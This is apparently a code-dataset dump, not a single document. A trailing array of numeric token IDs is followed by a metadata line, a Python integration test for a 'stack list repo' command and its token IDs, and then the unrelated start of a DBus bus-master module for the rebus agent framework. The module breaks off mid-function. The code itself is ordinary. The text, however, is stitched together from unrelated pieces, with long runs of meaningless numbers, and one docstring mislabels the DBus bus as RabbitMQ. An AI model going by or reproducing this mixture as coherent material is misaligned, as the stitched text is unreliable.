1839, 29916, 1022, 29918, 29900, 29900, 29900, 29946, 13359, 303, 8520, 29889, 2500, 580, 13, 9651, 3987, 1839, 1853, 2033, 353, 525, 7892, 29915, 13, 9651, 3987, 29889, 1202, 29918, 2671, 29898, 13, 18884, 722, 2433, 19094, 29918, 11116, 742, 13, 18884, 285, 1853, 2433, 10892, 742, 13, 18884, 995, 2433, 1124, 597, 29926, 370, 495, 29889, 990, 29914, 20464, 29914, 5467, 1491, 29937, 23679, 29899, 6768, 1495, 13, 13, 4706, 4235, 353, 3987, 1839, 9621, 2033, 13, 4706, 363, 1746, 29892, 995, 297, 1583, 29889, 10185, 29889, 7076, 7295, 13, 9651, 565, 1746, 451, 297, 4235, 29901, 13, 18884, 3987, 29889, 1202, 29918, 2671, 29898, 1707, 29922, 2671, 29897, 13, 9651, 3987, 29889, 657, 29918, 9621, 580, 29961, 2671, 22322, 1767, 2033, 353, 995, 13, 13, 4706, 736, 1583, 29889, 29916, 29885, 407, 1839, 29916, 1022, 29918, 29900, 29896, 29953, 29941, 13359, 23679, 29898, 303, 8520, 29892, 2943, 29892, 3987, 29922, 6768, 29892, 13, 462, 462, 632, 565, 456, 29922, 361, 456, 29892, 6939, 29922, 14035, 29892, 13, 462, 462, 632, 11815, 29922, 15619, 29892, 13, 462, 462, 632, 11815, 29918, 14035, 29922, 15619, 29918, 14035, 29897, 13, 13, 1678, 822, 10563, 29898, 1311, 29892, 2943, 29892, 1178, 29922, 8516, 29892, 2944, 29918, 4841, 29922, 8516, 29892, 565, 456, 29922, 8516, 29892, 13, 462, 6939, 29922, 8516, 29892, 11815, 29922, 8516, 29892, 11815, 29918, 14035, 29922, 8516, 1125, 13, 4706, 9995, 13, 4706, 4649, 29878, 2418, 2024, 848, 3025, 349, 15488, 29889, 13, 13, 4706, 910, 338, 925, 263, 313, 1201, 29897, 16835, 14476, 2820, 278, 1060, 15488, 29899, 29900, 29900, 29953, 29900, 9805, 580, 13, 4706, 1158, 304, 731, 278, 21274, 3806, 491, 349, 15488, 29889, 13, 13, 4706, 11842, 9331, 29901, 13, 9651, 2943, 268, 1192, 450, 2943, 304, 10563, 2793, 515, 29889, 13, 9651, 1178, 539, 1192, 10831, 635, 6084, 278, 3553, 310, 278, 2944, 29889, 13, 9651, 2944, 29918, 4841, 1192, 12048, 1598, 263, 2318, 310, 23481, 29889, 960, 1178, 338, 884, 6790, 29892, 372, 13, 462, 4706, 674, 367, 5134, 297, 2944, 29918, 4841, 29889, 13, 9651, 565, 456, 1678, 1192, 12048, 1598, 278, 10004, 29915, 29879, 435, 1367, 29889, 13, 9651, 11815, 29871, 1192, 450, 3309, 310, 931, 313, 262, 6923, 29897, 304, 4480, 363, 263, 2933, 13, 462, 4706, 1434, 6876, 292, 278, 3638, 1246, 565, 23473, 338, 1304, 29889, 13, 462, 4706, 13109, 29879, 304, 20662, 29916, 29885, 407, 29889, 3134, 5461, 29889, 1525, 5550, 1164, 1660, 29918, 15307, 12015, 13, 9651, 6939, 1192, 28379, 3407, 304, 263, 4840, 7834, 740, 29889, 2811, 13, 462, 4706, 367, 8283, 746, 263, 8908, 380, 8520, 338, 4520, 29889, 13, 4706, 9995, 13, 4706, 565, 2944, 29918, 4841, 338, 6213, 29901, 13, 9651, 2944, 29918, 4841, 353, 5159, 13, 4706, 565, 1178, 338, 451, 6213, 29901, 13, 9651, 2944, 29918, 4841, 29889, 4397, 29898, 333, 29897, 13, 13, 4706, 736, 1583, 29889, 29916, 29885, 407, 1839, 29916, 1022, 29918, 29900, 29900, 29953, 29900, 13359, 657, 29918, 7076, 29898, 8516, 29892, 2943, 29892, 13, 462, 462, 1669, 2944, 29918, 4841, 29922, 667, 29918, 4841, 29892, 565, 456, 29922, 361, 456, 29892, 13, 462, 462, 1669, 6939, 29922, 14035, 29892, 11815, 29922, 15619, 29892, 13, 462, 462, 1669, 11815, 29918, 14035, 29922, 15619, 29918, 14035, 29897, 13, 13, 13, 9573, 29918, 8582, 29898, 29990, 15488, 29918, 29900, 29906, 29906, 29941, 29897, 13, 2 ]
test-framework/test-suites/integration/tests/list/test_list_repo.py
sammeidinger/stack
123
22272
import json class TestListRepo: def test_invalid(self, host): result = host.run('stack list repo test') assert result.rc == 255 assert result.stderr.startswith('error - ') def test_args(self, host, add_repo): # Add a second repo so we can make sure it is skipped add_repo('test2', 'test2url') # Run list repo with just the test box result = host.run('stack list repo test output-format=json') assert result.rc == 0 # Make sure we got data only for the test box repo_data = json.loads(result.stdout) assert len(repo_data) == 1 assert repo_data[0]['name'] == 'test' # now get all of them # assert both repos are in the list data result = host.run('stack list repo output-format=json') repo_data = json.loads(result.stdout) assert len(repo_data) == 2 assert {'test', 'test2'} == {repo['name'] for repo in repo_data} # now get all of them, by explicitly asking for them # assert both repos are in the list data result = host.run('stack list repo test test2 output-format=json') new_repo_data = json.loads(result.stdout) assert len(new_repo_data) == 2 assert {'test', 'test2'} == {repo['name'] for repo in new_repo_data} def test_removed_not_listed(self, host, add_repo, revert_etc): # Run list repo with just the test box result = host.run('stack list repo test output-format=json') assert result.rc == 0 # Make sure we got data only for the test box repo_data = json.loads(result.stdout) assert len(repo_data) == 1 assert repo_data[0]['name'] == 'test' result = host.run('stack remove repo test') assert result.rc == 0 # Run list repo again result = host.run('stack list repo test output-format=json') assert result.rc == 255 assert result.stderr.startswith('error - ') def test_expanded_columns(self, host, host_os, add_repo): # Run list repo with just the test box result = host.run('stack list repo test expanded=true output-format=json') assert result.rc == 0 assert json.loads(result.stdout) == [ { "name": "test", "alias": "test", "url": "test_url", "autorefresh": False, "assumeyes": False, "type": "rpm-md", "is_mirrorlist": False, "gpgcheck": False, "gpgkey": None, "os": host_os, "pallet name": None } ] def test_add_repo_with_pallet(self, host, host_os, add_repo, create_pallet_isos, revert_export_stack_pallets, revert_pallet_hooks, revert_etc): result = host.run(f'stack add pallet {create_pallet_isos}/minimal-1.0-sles12.x86_64.disk1.iso') #result = host.run(f'stack add pallet /root/minimal-1.0-sles12.x86_64.disk1.iso') assert result.rc == 0 result = host.run('stack list pallet minimal output-format=json') assert result.rc == 0 pallet_data = json.loads(result.stdout) assert len(pallet_data) == 1 # get pallet id, as well as the -'d name in the correct order from stack.commands import DatabaseConnection, get_mysql_connection, Command from stack.argument_processors.pallet import PalletArgProcessor from operator import attrgetter p = PalletArgProcessor() p.db = DatabaseConnection(get_mysql_connection()) minimal_pallet = p.get_pallets(args=['minimal'], params=pallet_data[0])[0] pallet_name = '-'.join(attrgetter('name', 'version', 'rel', 'os', 'arch')(minimal_pallet)) # now attach the test repo to the pallet result = host.run(f'stack set repo test pallet={minimal_pallet.id}') assert result.rc == 0 # now verify it is attached to that pallet result = host.run('stack list repo test expanded=true output-format=json') assert result.rc == 0 assert json.loads(result.stdout) == [ { "name": "test", "alias": "test", "url": "test_url", "autorefresh": False, "assumeyes": False, "type": "rpm-md", "is_mirrorlist": False, "gpgcheck": False, "gpgkey": None, "os": host_os, "pallet name": pallet_name } ] # now verify that removing that pallet removes the repo as well result = host.run('stack remove pallet minimal') assert result.rc == 0 result = host.run('stack list repo') assert result.rc == 0 assert result.stdout == ''
[ 1, 1053, 4390, 13, 13, 1990, 4321, 1293, 5612, 29877, 29901, 13, 12, 1753, 1243, 29918, 20965, 29898, 1311, 29892, 3495, 1125, 13, 12, 12, 2914, 353, 3495, 29889, 3389, 877, 1429, 1051, 13761, 1243, 1495, 13, 12, 12, 9294, 1121, 29889, 2214, 1275, 29871, 29906, 29945, 29945, 13, 12, 12, 9294, 1121, 29889, 303, 20405, 29889, 27382, 2541, 877, 2704, 448, 25710, 13, 13, 12, 1753, 1243, 29918, 5085, 29898, 1311, 29892, 3495, 29892, 788, 29918, 20095, 1125, 13, 12, 12, 29937, 3462, 263, 1473, 13761, 577, 591, 508, 1207, 1854, 372, 338, 14993, 2986, 13, 12, 12, 1202, 29918, 20095, 877, 1688, 29906, 742, 525, 1688, 29906, 2271, 1495, 13, 13, 12, 12, 29937, 7525, 1051, 13761, 411, 925, 278, 1243, 3800, 13, 12, 12, 2914, 353, 3495, 29889, 3389, 877, 1429, 1051, 13761, 1243, 1962, 29899, 4830, 29922, 3126, 1495, 13, 12, 12, 9294, 1121, 29889, 2214, 1275, 29871, 29900, 13, 13, 12, 12, 29937, 8561, 1854, 591, 2355, 848, 871, 363, 278, 1243, 3800, 13, 12, 12, 20095, 29918, 1272, 353, 4390, 29889, 18132, 29898, 2914, 29889, 25393, 29897, 13, 12, 12, 9294, 7431, 29898, 20095, 29918, 1272, 29897, 1275, 29871, 29896, 13, 12, 12, 9294, 13761, 29918, 1272, 29961, 29900, 22322, 978, 2033, 1275, 525, 1688, 29915, 13, 13, 12, 12, 29937, 1286, 679, 599, 310, 963, 13, 12, 12, 29937, 4974, 1716, 17573, 526, 297, 278, 1051, 848, 13, 12, 12, 2914, 353, 3495, 29889, 3389, 877, 1429, 1051, 13761, 1962, 29899, 4830, 29922, 3126, 1495, 13, 12, 12, 20095, 29918, 1272, 353, 4390, 29889, 18132, 29898, 2914, 29889, 25393, 29897, 13, 12, 12, 9294, 7431, 29898, 20095, 29918, 1272, 29897, 1275, 29871, 29906, 13, 12, 12, 9294, 11117, 1688, 742, 525, 1688, 29906, 10827, 1275, 426, 20095, 1839, 978, 2033, 363, 13761, 297, 13761, 29918, 1272, 29913, 13, 13, 12, 12, 29937, 1286, 679, 599, 310, 963, 29892, 491, 9479, 6721, 363, 963, 13, 12, 12, 29937, 4974, 1716, 17573, 526, 297, 278, 1051, 848, 13, 12, 12, 2914, 353, 3495, 29889, 3389, 877, 1429, 1051, 13761, 1243, 1243, 29906, 1962, 29899, 4830, 29922, 3126, 1495, 13, 12, 12, 1482, 29918, 20095, 29918, 1272, 353, 4390, 29889, 18132, 29898, 2914, 29889, 25393, 29897, 13, 12, 12, 9294, 7431, 29898, 1482, 29918, 20095, 29918, 1272, 29897, 1275, 29871, 29906, 13, 12, 12, 9294, 11117, 1688, 742, 525, 1688, 29906, 10827, 1275, 426, 20095, 1839, 978, 2033, 363, 13761, 297, 716, 29918, 20095, 29918, 1272, 29913, 13, 13, 12, 1753, 1243, 29918, 1745, 8238, 29918, 1333, 29918, 1761, 287, 29898, 1311, 29892, 3495, 29892, 788, 29918, 20095, 29892, 29538, 29918, 7070, 1125, 13, 12, 12, 29937, 7525, 1051, 13761, 411, 925, 278, 1243, 3800, 13, 12, 12, 2914, 353, 3495, 29889, 3389, 877, 1429, 1051, 13761, 1243, 1962, 29899, 4830, 29922, 3126, 1495, 13, 12, 12, 9294, 1121, 29889, 2214, 1275, 29871, 29900, 13, 13, 12, 12, 29937, 8561, 1854, 591, 2355, 848, 871, 363, 278, 1243, 3800, 13, 12, 12, 20095, 29918, 1272, 353, 4390, 29889, 18132, 29898, 2914, 29889, 25393, 29897, 13, 12, 12, 9294, 7431, 29898, 20095, 29918, 1272, 29897, 1275, 29871, 29896, 13, 12, 12, 9294, 13761, 29918, 1272, 29961, 29900, 22322, 978, 2033, 1275, 525, 1688, 29915, 13, 13, 12, 12, 2914, 353, 3495, 29889, 3389, 877, 1429, 3349, 13761, 1243, 1495, 13, 12, 12, 9294, 1121, 29889, 2214, 1275, 29871, 29900, 13, 13, 12, 12, 29937, 7525, 1051, 13761, 1449, 13, 12, 12, 2914, 353, 3495, 29889, 3389, 877, 1429, 1051, 13761, 1243, 1962, 29899, 4830, 29922, 3126, 1495, 13, 12, 12, 9294, 1121, 29889, 2214, 1275, 29871, 29906, 29945, 29945, 13, 12, 12, 9294, 1121, 29889, 303, 20405, 29889, 27382, 2541, 877, 2704, 448, 25710, 13, 13, 12, 1753, 1243, 29918, 18837, 287, 29918, 13099, 29898, 1311, 29892, 3495, 29892, 3495, 29918, 359, 29892, 788, 29918, 20095, 1125, 13, 12, 12, 29937, 7525, 1051, 13761, 411, 925, 278, 1243, 3800, 13, 12, 12, 2914, 353, 3495, 29889, 3389, 877, 1429, 1051, 13761, 1243, 17832, 29922, 3009, 1962, 29899, 4830, 29922, 3126, 1495, 13, 12, 12, 9294, 1121, 29889, 2214, 1275, 29871, 29900, 13, 12, 12, 9294, 4390, 29889, 18132, 29898, 2914, 29889, 25393, 29897, 1275, 518, 13, 12, 12, 12, 29912, 13, 12, 12, 12, 12, 29908, 978, 1115, 376, 1688, 613, 13, 12, 12, 12, 12, 29908, 19973, 1115, 376, 1688, 613, 13, 12, 12, 12, 12, 29908, 2271, 1115, 376, 1688, 29918, 2271, 613, 13, 12, 12, 12, 12, 29908, 28629, 29888, 3781, 1115, 7700, 29892, 13, 12, 12, 12, 12, 29908, 465, 398, 1032, 267, 1115, 7700, 29892, 13, 12, 12, 12, 12, 29908, 1853, 1115, 376, 29878, 3358, 29899, 3487, 613, 13, 12, 12, 12, 12, 29908, 275, 29918, 11038, 729, 1761, 1115, 7700, 29892, 13, 12, 12, 12, 12, 29908, 29887, 4061, 3198, 1115, 7700, 29892, 13, 12, 12, 12, 12, 29908, 29887, 4061, 1989, 1115, 6213, 29892, 13, 12, 12, 12, 12, 29908, 359, 1115, 3495, 29918, 359, 29892, 13, 12, 12, 12, 12, 29908, 7830, 1026, 1024, 1115, 6213, 13, 12, 12, 12, 29913, 13, 12, 12, 29962, 13, 13, 12, 1753, 1243, 29918, 1202, 29918, 20095, 29918, 2541, 29918, 7830, 1026, 29898, 1311, 29892, 3495, 29892, 3495, 29918, 359, 29892, 788, 29918, 20095, 29892, 1653, 29918, 7830, 1026, 29918, 275, 359, 29892, 29538, 29918, 15843, 29918, 1429, 29918, 7830, 10376, 29892, 29538, 29918, 7830, 1026, 29918, 1251, 12117, 29892, 29538, 29918, 7070, 1125, 13, 12, 12, 2914, 353, 3495, 29889, 3389, 29898, 29888, 29915, 1429, 788, 5112, 1026, 426, 3258, 29918, 7830, 1026, 29918, 275, 359, 6822, 1195, 3039, 29899, 29896, 29889, 29900, 29899, 29879, 793, 29896, 29906, 29889, 29916, 29947, 29953, 29918, 29953, 29946, 29889, 20960, 29896, 29889, 10718, 1495, 13, 12, 12, 29937, 2914, 353, 3495, 29889, 3389, 29898, 29888, 29915, 1429, 788, 5112, 1026, 847, 4632, 29914, 1195, 3039, 29899, 29896, 29889, 29900, 29899, 29879, 793, 29896, 29906, 29889, 29916, 29947, 29953, 29918, 29953, 29946, 29889, 20960, 29896, 29889, 10718, 1495, 13, 12, 12, 9294, 1121, 29889, 2214, 1275, 29871, 29900, 13, 13, 12, 12, 2914, 353, 3495, 29889, 3389, 877, 1429, 1051, 5112, 1026, 13114, 1962, 29899, 4830, 29922, 3126, 1495, 13, 12, 12, 9294, 1121, 29889, 2214, 1275, 29871, 29900, 13, 13, 12, 12, 7830, 1026, 29918, 1272, 353, 4390, 29889, 18132, 29898, 2914, 29889, 25393, 29897, 13, 12, 12, 9294, 7431, 29898, 7830, 1026, 29918, 1272, 29897, 1275, 29871, 29896, 13, 13, 12, 12, 29937, 679, 5112, 1026, 1178, 29892, 408, 1532, 408, 278, 448, 29915, 29881, 1024, 297, 278, 1959, 1797, 13, 12, 12, 3166, 5096, 29889, 26381, 1053, 5470, 5350, 29892, 679, 29918, 7938, 29918, 9965, 29892, 10516, 13, 12, 12, 3166, 5096, 29889, 23516, 29918, 5014, 943, 29889, 7830, 1026, 1053, 3793, 1026, 8559, 18689, 13, 12, 12, 3166, 5455, 1053, 12421, 657, 357, 13, 12, 12, 29886, 353, 3793, 1026, 8559, 18689, 580, 13, 12, 12, 29886, 29889, 2585, 353, 5470, 5350, 29898, 657, 29918, 7938, 29918, 9965, 3101, 13, 12, 12, 1195, 3039, 29918, 7830, 1026, 353, 282, 29889, 657, 29918, 7830, 10376, 29898, 5085, 29922, 1839, 1195, 3039, 7464, 8636, 29922, 7830, 1026, 29918, 1272, 29961, 29900, 2314, 29961, 29900, 29962, 13, 12, 12, 7830, 1026, 29918, 978, 353, 17411, 4286, 7122, 29898, 5552, 657, 357, 877, 978, 742, 525, 3259, 742, 525, 2674, 742, 525, 359, 742, 525, 1279, 1495, 29898, 1195, 3039, 29918, 7830, 1026, 876, 13, 13, 12, 12, 29937, 1286, 10641, 278, 1243, 13761, 304, 278, 5112, 1026, 13, 12, 12, 2914, 353, 3495, 29889, 3389, 29898, 29888, 29915, 1429, 731, 13761, 1243, 5112, 1026, 3790, 1195, 3039, 29918, 7830, 1026, 29889, 333, 29913, 1495, 13, 12, 12, 9294, 1121, 29889, 2214, 1275, 29871, 29900, 13, 13, 12, 12, 29937, 1286, 11539, 372, 338, 10959, 304, 393, 5112, 1026, 13, 12, 12, 2914, 353, 3495, 29889, 3389, 877, 1429, 1051, 13761, 1243, 17832, 29922, 3009, 1962, 29899, 4830, 29922, 3126, 1495, 13, 12, 12, 9294, 1121, 29889, 2214, 1275, 29871, 29900, 13, 12, 12, 9294, 4390, 29889, 18132, 29898, 2914, 29889, 25393, 29897, 1275, 518, 13, 12, 12, 12, 29912, 13, 12, 12, 12, 12, 29908, 978, 1115, 376, 1688, 613, 13, 12, 12, 12, 12, 29908, 19973, 1115, 376, 1688, 613, 13, 12, 12, 12, 12, 29908, 2271, 1115, 376, 1688, 29918, 2271, 613, 13, 12, 12, 12, 12, 29908, 28629, 29888, 3781, 1115, 7700, 29892, 13, 12, 12, 12, 12, 29908, 465, 398, 1032, 267, 1115, 7700, 29892, 13, 12, 12, 12, 12, 29908, 1853, 1115, 376, 29878, 3358, 29899, 3487, 613, 13, 12, 12, 12, 12, 29908, 275, 29918, 11038, 729, 1761, 1115, 7700, 29892, 13, 12, 12, 12, 12, 29908, 29887, 4061, 3198, 1115, 7700, 29892, 13, 12, 12, 12, 12, 29908, 29887, 4061, 1989, 1115, 6213, 29892, 13, 12, 12, 12, 12, 29908, 359, 1115, 3495, 29918, 359, 29892, 13, 12, 12, 12, 12, 29908, 7830, 1026, 1024, 1115, 5112, 1026, 29918, 978, 13, 12, 12, 12, 29913, 13, 12, 12, 29962, 13, 13, 12, 12, 29937, 1286, 11539, 393, 11077, 393, 5112, 1026, 25388, 278, 13761, 408, 1532, 13, 12, 12, 2914, 353, 3495, 29889, 3389, 877, 1429, 3349, 5112, 1026, 13114, 1495, 13, 12, 12, 9294, 1121, 29889, 2214, 1275, 29871, 29900, 13, 13, 12, 12, 2914, 353, 3495, 29889, 3389, 877, 1429, 1051, 13761, 1495, 13, 12, 12, 9294, 1121, 29889, 2214, 1275, 29871, 29900, 13, 12, 12, 9294, 1121, 29889, 25393, 1275, 6629, 13, 2 ]
rebus/buses/dbusbus/master.py
dev-pro-jma/rebus
25
1603590
#! /usr/bin/env python import sys import signal from collections import Counter, defaultdict import dbus.service import dbus.glib from dbus.mainloop.glib import DBusGMainLoop from rebus.descriptor import Descriptor import gobject import logging from rebus.tools.config import get_output_altering_options from rebus.tools.serializer import b64serializer as serializer from rebus.busmaster import BusMaster from rebus.tools.sched import Sched from rebus.tools import format_check log = logging.getLogger("rebus.bus") @BusMaster.cls_register class DBusMaster(dbus.service.Object, BusMaster): _name_ = "dbus" _desc_ = "Use RabbitMQ to exchange messages" def __init__(self, bus, objpath, store): dbus.service.Object.__init__(self, bus, objpath) self.store = store #: maps agentid (ex. inject-:1.234) to object path (ex: #: /agent/inject) self.clients = {} self.exiting = False #: locks[domain] is a set of (lockid, selector) whose processing #: has started (might even be finished). Allows several agents that #: perform the same stateless computation to run in parallel self.locks = defaultdict(set) signal.signal(signal.SIGTERM, self._sigterm_handler) #: maps agentids to their names self.agentnames = {} #: maps agentids to their serialized configuration - output altering #: options only self.agents_output_altering_options = {} #: maps agentids to their serialized configuration self.agents_full_config_txts = {} #: monotonically increasing user request counter self.userrequestid = 0 #: number of descriptors self.descriptor_count = 0 #: count descriptors marked as processed/processable by each uniquely #: configured agent self.descriptor_handled_count = {} #: uniq_conf_clients[(agent_name, config_txt)] = [agent_id, ...] self.uniq_conf_clients = defaultdict(list) #: retry_counters[(agent_name, config_txt, domain, selector)] = \ #: number of remaining retries self.retry_counters = defaultdict(dict) self.sched = Sched(self._sched_inject) def _update_check_idle(self, agent_name, output_altering_options): """ Increases the count of handled descriptors and checks if all descriptors have been handled (processed/marked as processable). In that case, send the "on_idle" message. """ name_config = (agent_name, output_altering_options) self.descriptor_handled_count[name_config] += 1 self._check_idle() def _check_idle(self): if self.exiting: return # Check if we have reached idle state nbdistinctagents = len(self.descriptor_handled_count) nbhandlings = sum(self.descriptor_handled_count.values()) if self.descriptor_count*nbdistinctagents == nbhandlings: log.debug("IDLE: %d agents having distinct (name, config) %d " "descriptors %d handled", nbdistinctagents, self.descriptor_count, nbhandlings) self.on_idle() @dbus.service.method(dbus_interface='com.airbus.rebus.bus', in_signature='ssosb', out_signature='') def register(self, agent_id, agent_domain, pth, config_txt, processes_descriptors): #: indicates whether another instance of the same agent is already #: running with the same configuration if not format_check.is_valid_domain(agent_domain): return agent_name = agent_id.split('-', 1)[0] self.agentnames[agent_id] = agent_name output_altering_options = get_output_altering_options(str(config_txt)) name_config = (agent_name, output_altering_options) already_running = len(self.uniq_conf_clients[name_config]) > 1 self.uniq_conf_clients[name_config].append(agent_id) self.clients[agent_id] = pth self.agents_output_altering_options[agent_id] = output_altering_options self.agents_full_config_txts[agent_id] = str(config_txt) log.info("New client %s (%s) in domain %s with config %s", pth, agent_id, agent_domain, config_txt) if not processes_descriptors: self.descriptor_handled_count[name_config] = 0 elif not already_running: # Send not-yet processed descriptors to the agent, # unless another instance of the same agent has already been # started, and should be processing those descriptors unprocessed = \ self.store.list_unprocessed_by_agent(agent_name, output_altering_options) self.descriptor_handled_count[name_config] = \ self.descriptor_count - len(unprocessed) for dom, uuid, sel in unprocessed: self.targeted_descriptor("storage", dom, uuid, sel, [agent_name], False) @dbus.service.method(dbus_interface='com.airbus.rebus.bus', in_signature='s', out_signature='') def unregister(self, agent_id): log.info("Agent %s has unregistered", agent_id) agent_name = self.agentnames[agent_id] options = self.agents_output_altering_options[agent_id] name_config = (agent_name, options) self.uniq_conf_clients[name_config].remove(agent_id) if len(self.uniq_conf_clients[name_config]) == 0: del self.descriptor_handled_count[name_config] del self.clients[agent_id] self._check_idle() if self.exiting: if len(self.clients) == 0: log.info("Exiting - no agents are running") self.mainloop.quit() else: log.info("Expecting %u more agents to exit (ex. %s)", len(self.clients), self.clients.keys()[0]) @dbus.service.method(dbus_interface='com.airbus.rebus.bus', in_signature='ssss', out_signature='b') def lock(self, agent_id, lockid, desc_domain, selector): if not format_check.is_valid_domain(desc_domain): return False if not format_check.is_valid_fullselector(selector): return False objpath = self.clients[agent_id] locks = self.locks[desc_domain] key = (lockid, selector) log.debug("LOCK:%s %s(%s) => %r %s:%s ", lockid, objpath, agent_id, key in locks, desc_domain, selector) if key in locks: return False locks.add(key) return True @dbus.service.method(dbus_interface='com.airbus.rebus.bus', in_signature='ssssbuu', out_signature='') def unlock(self, agent_id, lockid, desc_domain, selector, processing_failed, retries, wait_time): if not format_check.is_valid_domain(desc_domain): return if not format_check.is_valid_fullselector(selector): return objpath = self.clients[agent_id] locks = self.locks[desc_domain] lkey = (lockid, selector) log.debug("UNLOCK:%s %s(%s) => %r %d:%d ", lockid, objpath, agent_id, processing_failed, retries, wait_time) if lkey not in locks: return locks.remove(lkey) # find agent_name, config_txt for (agent_name, config_txt), ids in self.uniq_conf_clients.items(): if agent_id in ids: break rkey = (agent_name, config_txt, desc_domain, selector) if rkey not in self.retry_counters: self.retry_counters[rkey] = retries if self.retry_counters[rkey] > 0: self.retry_counters[rkey] -= 1 desc = self.store.get_descriptor(desc_domain, selector) uuid = desc.uuid self.sched.add_action(wait_time, (agent_id, desc_domain, uuid, selector, agent_name)) @dbus.service.method(dbus_interface='com.airbus.rebus.bus', in_signature='ss', out_signature='b') def push(self, agent_id, serialized_descriptor): descriptor = Descriptor.unserialize(serializer, str(serialized_descriptor)) desc_domain = str(descriptor.domain) uuid = str(descriptor.uuid) selector = str(descriptor.selector) # ensure processing terminates if not format_check.processing_depth(self.store, descriptor): log.warning("Refusing descriptor %s:%s received from %s: loop or " ">2 ancestors having the same descriptor", agent_id, desc_domain, selector) return False if self.store.add(descriptor): self.descriptor_count += 1 log.debug("PUSH: %s => %s:%s", agent_id, desc_domain, selector) if not self.exiting: self.new_descriptor(agent_id, desc_domain, uuid, selector) # useful in case all agents are in idle/interactive mode self._check_idle() return True else: log.debug("PUSH: %s already seen => %s:%s", agent_id, desc_domain, selector) return False @dbus.service.method(dbus_interface='com.airbus.rebus.bus', in_signature='sss', out_signature='s') def get(self, agent_id, desc_domain, selector): log.debug("GET: %s %s:%s", agent_id, desc_domain, selector) if not format_check.is_valid_domain(desc_domain): return None if not format_check.is_valid_selector(selector): return None desc = self.store.get_descriptor(str(desc_domain), str(selector)) if desc is None: return "" return desc.serialize_meta(serializer) @dbus.service.method(dbus_interface='com.airbus.rebus.bus', in_signature='sss', out_signature='s') def get_value(self, agent_id, desc_domain, selector): log.debug("GETVALUE: %s %s:%s", agent_id, desc_domain, selector) if not format_check.is_valid_domain(desc_domain): return None if not format_check.is_valid_selector(selector): return None value = self.store.get_value(str(desc_domain), str(selector)) if value is None: return "" return serializer.dumps(value) @dbus.service.method(dbus_interface='com.airbus.rebus.bus', in_signature='ss', out_signature='a{ss}') def list_uuids(self, agent_id, desc_domain): log.debug("LISTUUIDS: %s %s", agent_id, desc_domain) if not format_check.is_valid_domain(desc_domain): return {} return self.store.list_uuids(str(desc_domain)) @dbus.service.method(dbus_interface='com.airbus.rebus.bus', in_signature='sssuu', out_signature='as') def find(self, agent_id, desc_domain, selector_regex, limit=0, offset=0): log.debug("FIND: %s %s:%s (max %d skip %d)", agent_id, desc_domain, selector_regex, limit, offset) if not format_check.is_valid_domain(desc_domain): return [] selectors = self.store.find( str(desc_domain), str(selector_regex), str(limit), int(offset)) return [str(s) for s in selectors] @dbus.service.method(dbus_interface='com.airbus.rebus.bus', in_signature='sssuu', out_signature='as') def find_by_selector(self, agent_id, desc_domain, selector_prefix, limit=0, offset=0): log.debug("FINDBYVALUE: %s %s %s (max %d skip %d)", agent_id, desc_domain, selector_prefix, limit, offset) if not format_check.is_valid_domain(desc_domain): return [] descs = self.store.find_by_selector( str(desc_domain), str(selector_prefix), int(limit), int(offset)) return [desc.serialize_meta(serializer) for desc in descs] @dbus.service.method(dbus_interface='com.airbus.rebus.bus', in_signature='sss', out_signature='as') def find_by_uuid(self, agent_id, desc_domain, uuid): log.debug("FINDBYUUID: %s %s:%s", agent_id, desc_domain, uuid) if not format_check.is_valid_domain(desc_domain): return [] descs = self.store.find_by_uuid(str(desc_domain), str(uuid)) return [desc.serialize_meta(serializer) for desc in descs] @dbus.service.method(dbus_interface='com.airbus.rebus.bus', in_signature='ssss', out_signature='as') def find_by_value(self, agent_id, desc_domain, selector_prefix, value_regex): log.debug("FINDBYVALUE: %s %s %s %s", agent_id, desc_domain, selector_prefix, value_regex) if not format_check.is_valid_domain(desc_domain): return [] descs = self.store.find_by_value(str(desc_domain), str(selector_prefix), str(value_regex)) return [desc.serialize_meta(serializer) for desc in descs] @dbus.service.method(dbus_interface='com.airbus.rebus.bus', in_signature='sss', out_signature='') def mark_processed(self, agent_id, desc_domain, selector): if not format_check.is_valid_domain(desc_domain): return if not format_check.is_valid_fullselector(selector): return agent_name = self.agentnames[agent_id] options = self.agents_output_altering_options[agent_id] log.debug("MARK_PROCESSED: %s:%s %s %s", desc_domain, selector, agent_id, options) isnew = self.store.mark_processed(str(desc_domain), str(selector), agent_name, str(options)) if isnew: self._update_check_idle(agent_name, options) @dbus.service.method(dbus_interface='com.airbus.rebus.bus', in_signature='sss', out_signature='') def mark_processable(self, agent_id, desc_domain, selector): if not format_check.is_valid_domain(desc_domain): return if not format_check.is_valid_fullselector(selector): return agent_name = self.agentnames[agent_id] options = self.agents_output_altering_options[agent_id] log.debug("MARK_PROCESSABLE: %s:%s %s %s", desc_domain, selector, agent_id, options) isnew = self.store.mark_processable(str(desc_domain), str(selector), agent_name, str(options)) if isnew: self._update_check_idle(agent_name, options) @dbus.service.method(dbus_interface='com.airbus.rebus.bus', in_signature='sss', out_signature='aas') def get_processable(self, agent_id, desc_domain, selector): if not format_check.is_valid_domain(desc_domain): return [] if not format_check.is_valid_fullselector(selector): return [] log.debug("GET_PROCESSABLE: %s:%s %s", desc_domain, selector, agent_id) return self.store.get_processable(str(desc_domain), str(selector)) @dbus.service.method(dbus_interface='com.airbus.rebus.bus', in_signature='', out_signature='a{su}') def list_agents(self, agent_id): log.debug("LIST_AGENTS: %s", agent_id) #: maps agent name to number of instances of this agent counts = dict(Counter(objpath.rsplit('/', 1)[1] for objpath in self.clients.values())) return counts @dbus.service.method(dbus_interface='com.airbus.rebus.bus', in_signature='ss', out_signature='a(su)u') def processed_stats(self, agent_id, desc_domain): log.debug("PROCESSED_STATS: %s %s", agent_id, desc_domain) if not format_check.is_valid_domain(desc_domain): return [] return self.store.processed_stats(str(desc_domain)) @dbus.service.method(dbus_interface='com.airbus.rebus.bus', in_signature='sssb', out_signature='as') def get_children(self, agent_id, desc_domain, selector, recurse): log.debug("GET_CHILDREN: %s %s:%s", agent_id, desc_domain, selector) if not format_check.is_valid_domain(desc_domain): return [] if not format_check.is_valid_fullselector(selector): return [] descs = self.store.get_children(str(desc_domain), str(selector), recurse=bool(recurse)) return [desc.serialize_meta(serializer) for desc in descs] @dbus.service.method(dbus_interface='com.airbus.rebus.bus', in_signature='ss', out_signature='') def store_internal_state(self, agent_id, state): agent_name = self.agentnames[str(agent_id)] log.debug("STORE_INTSTATE: %s", agent_name) if self.store.STORES_INTSTATE: self.store.store_agent_state(agent_name, str(state)) @dbus.service.method(dbus_interface='com.airbus.rebus.bus', in_signature='s', out_signature='s') def load_internal_state(self, agent_id): agent_name = self.agentnames[str(agent_id)] 